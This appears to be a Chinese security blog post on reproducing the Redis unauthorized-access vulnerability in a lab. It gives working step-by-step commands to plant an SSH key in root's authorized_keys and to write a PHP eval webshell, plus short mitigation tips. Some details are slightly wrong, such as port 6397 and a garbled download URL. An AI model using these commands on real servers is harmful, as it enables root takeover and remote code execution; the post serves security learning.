当前位置:   article > 正文

Redis未授权访问漏洞复现

redis未授权访问漏洞复现

目录

一、redis介绍

二、常用命令

三、未授权漏洞原理

四、影响版本

五、漏洞复现

六、ssh免密登录获取shell

七、web目录写入webshell

八、漏洞防护


一、redis介绍

Redis 是一个开源的、基于内存的数据存储系统,可以作为数据库、缓存和消息队列等使用。它支持多种数据结构,例如字符串、哈希、列表、集合、有序集合等,且提供了事务、持久化、复制等功能。

二、常用命令

  1. redis-cli -h ip -p 6397 -a passwd #外部连接;
  2. -h:指定redis服务器的主机名或IP地址 -p:指定redis服务器的端口号 -a:指定redis服务器的密码
  3. info #查看相关信息
  4. config set dir /root/redis #设置保存目录
  5. config get dir #查看保存目录
  6. config set dbfilename redis.rdb #设置保存文件名
  7. config get dbfilename #设置保存文件名
  8. flushall #删除所有数据
  9. del key #删除键为key的数据
  10. save #进行备份操作

三、未授权漏洞原理

Redis默认情况下,会绑定在0.0.0.0:6379端口,如果在部署时没有采取相关策略,比如没有设置密码或者弱密码的情况下且没有对非信任ip做限制等,这样就会将Redis服务器暴露在公网,会导致任意用户的未授权访问读取数据。攻击这在未授权访问Redis的情况下,利用Redis本身提供的config命令,可以对文件进行操作,攻击这可以成功将自己的ssh公钥写入目标服务器的authotrized_key文件中,进而可以使用ssh服务登录目标服务器。

四、影响版本

Redis 5.0版本以下

五、漏洞复现

1)环境搭建

虚拟机       ip
kali192.168.247.130
centos7

192.168.247.136

注:关闭防火墙 

2)靶机安装redis服务器
从官网上下载redis,然后再使用tar指令对压缩包进行解压,进入到redis文件夹中进行编译安装

wget http://download.redis.io/releases/redis-redis-4.0.10.tar.gz        #下载redis

tar -zxf redis-4.0.10.tar.gz                #解压

make                 #编译      

进入到redis文件夹下的src文件夹并将redis-server和redis-cli文件拷贝到/usr/bin目录下,这样做的目的是为了在启动redis-server和redis-cli时就不需要每次都进入到安装目录中

cp redis-server /usr/bin/                #将其拷贝到/usr/bin/目录下
cp redis-cli /usr/bin/                       #将其拷贝到/usr/bin/目录下

将安装目录下redis-conf文件中的IP绑定修改,允许其他主机远程登录服务,同时关闭远程登录保护

cp redis-conf /etc/                #将配置文件拷贝到/etc/目录下
vim /etc/redis-conf               #去掉ip绑定,并关闭保护模式

最后启动redis服务

 redis-server /etc/redis.conf

3) 给kali安装redis-cli远程连接工具

下载安装远程连接工具,然后再使用tar指令对压缩包进行解压,进入到redis-table文件夹中进行编译安装 

wget http://download.redis.io/redis-stable.tar.gz        #下载远程连接工具

tar -zxf redis-4.0.10.tar.gz                #解压

make                 #编译 

 将src下的redis-cli拷贝到/usr/bin/目录下,并验证是否安装成功

cp /src/redis-sli /usr/bin                
redis-cli -h                                        

4)复现

使用nmap进行端口扫描发现redis服务

进行redis命令远程登录redis主机,并查看redis服务端的信息

六、ssh免密登录获取shell

在kali中生成ssh公钥和私钥文件,并将生成的公钥保存到miyao.txt文件中

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > miyao.txt

使用redis-cli命令连接到靶机将miyao.txt写入到redis中

cat miyao.txt | redis-cli -h 192.168.247.136 -x set crack

将目标redis服务器备份路径设置为/root/.ssh,并设置上传公钥文件名为authorized_keys然后保存

config set dir /root/.ssh
config set dbfilename "authorized_keys"

使用ssh尝试登录发现成功并可以在靶机上查看/root/.ssh/authorized_keys中已经写入了kali的公钥

ssh root@192.168.247.136                #登录靶机

cat /root/.ssh/authorized_keys           #在靶机中查看公钥

七、web目录写入webshell

在kali中连接到redis服务器之后输入命令:

config set dir /tmp
config set dbfilename shell.php
set x "\n\n\n<?php @eval($_POST['cmd']); ?>\n\n\n"

在靶场的tmp目录下可以写入的一句话木马

八、漏洞防护

1、开启保护模式

2、更改redis的默认端口

3、为redis设置密码

4、限制访问权限

以上内容均只用于学习,因读者所造成的违法行为均与本人无关 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/935636
推荐阅读
相关标签
  

闽ICP备14008679号